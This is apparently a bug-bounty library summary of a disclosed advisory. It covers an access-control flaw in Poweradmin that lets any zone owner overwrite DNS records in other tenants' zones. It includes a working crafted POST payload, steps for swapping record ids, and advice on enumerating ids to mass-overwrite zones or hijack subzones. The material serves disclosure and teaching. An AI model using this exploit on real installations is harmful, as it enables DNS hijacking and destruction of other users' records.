# Poweradmin: Broken access control (IDOR): any zone owner can modify DNS records in zones they do not own

Poweradmin's record-edit path checks zone ownership using a client-supplied zid but writes to a client-supplied rid, letting any zone owner overwrite DNS records in other tenants' zones.

- Payout: Research
- Severity: high
- Program: Poweradmin
- Found by: SaifSalah
- Disclosed: 2026-07-24
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rm67-g9ch-vxff
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rm67-g9ch-vxff
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:idor

**Target:** Web UI record-edit endpoint (POST /zones/{id}/edit) backed by SQL DNS provider
**Root cause:** RecordManager::editRecord() calls verifyUserIsOwnerZoneId() on the request-supplied $record['zid'] but then updates the request-supplied $record['rid'] via a backend UPDATE ... WHERE id = ? with no zone scoping, so the permission check and the write target are never tied together.
**Steps:**
1. Log in as attacker (Editor template, owns attacker.example = zone 3); confirm /zones/2/edit returns 'You do not have permission to access this zone'.
2. Open /zones/3/edit, submit a change with proxy intercepting; capture `POST /zones/3/edit` with its valid `_token` and `serial`.
3. Modify the record block to `record[5][rid]=5&record[5][zid]=3&record[5][name]=pwned&record[5][type]=A&record[5][content]=6.6.6.6&record[5][ttl]=3600&record[5][prio]=0` (rid 5 belongs to victim zone 2).
4. Send request; receive HTTP 200.
5. Verify: `SELECT id, domain_id, name, type, content FROM records WHERE id = 5;` returns `5|2|pwned.attacker.example|A|6.6.6.6` — victim zone record overwritten.
**How found:** Code review of the edit path: noticed the ownership check used $record['zid'] while the backend UPDATE used $record['rid'], both from the POST body, and compared against DeleteRecordController which correctly derives zid server-side via getZoneIdFromRecordId() — confirming the safe pattern existed and the edit path was an oversight.
**Exploitation:** Authenticated low-privilege user owning any single zone intercepts their own legitimate save request, keeps their valid CSRF token and zone serial (satisfying optimistic-lock and form checks), and swaps in a victim record id while leaving zid pointing at their own zone. Sequential record ids allow walking rid=1,2,3... to overwrite every record on the install; owning a parent zone yields a clean resolvable hijack since HostnameValidator leaves names already ending in the attacker's suffix untouched.
**Escalation:** Enumerate sequential record ids to mass-overwrite all zones; parent/ancestor zone ownership converts record destruction into a clean DNS hijack of delegated subzones.
**Insight:** When a handler both authorizes and mutates, grep for cases where the authorization key and the mutation key come from different request fields; comparing sibling controllers (delete vs edit) in the same codebase quickly exposes which path derives the parent id server-side and which trusts the client.

## Proof of concept (copied exactly from the original report)

**Crafted POST editing victim's record via own zone id**

```
POST /zones/3/edit HTTP/1.1
Host: localhost:8080
Cookie: PHPSESSID=<your attacker session>
Content-Type: application/x-www-form-urlencoded

_token=<the valid token from step 2>&serial=<the valid serial from step 2>&commit=1
&record[5][rid]=5&record[5][zid]=3
&record[5][name]=pwned&record[5][type]=A&record[5][content]=6.6.6.6
&record[5][ttl]=3600&record[5][prio]=0
```

**SQL query confirming victim record overwritten**

```
sqlite> SELECT id, domain_id, name, type, content FROM records WHERE id = 5;
5|2|pwned.attacker.example|A|6.6.6.6
```

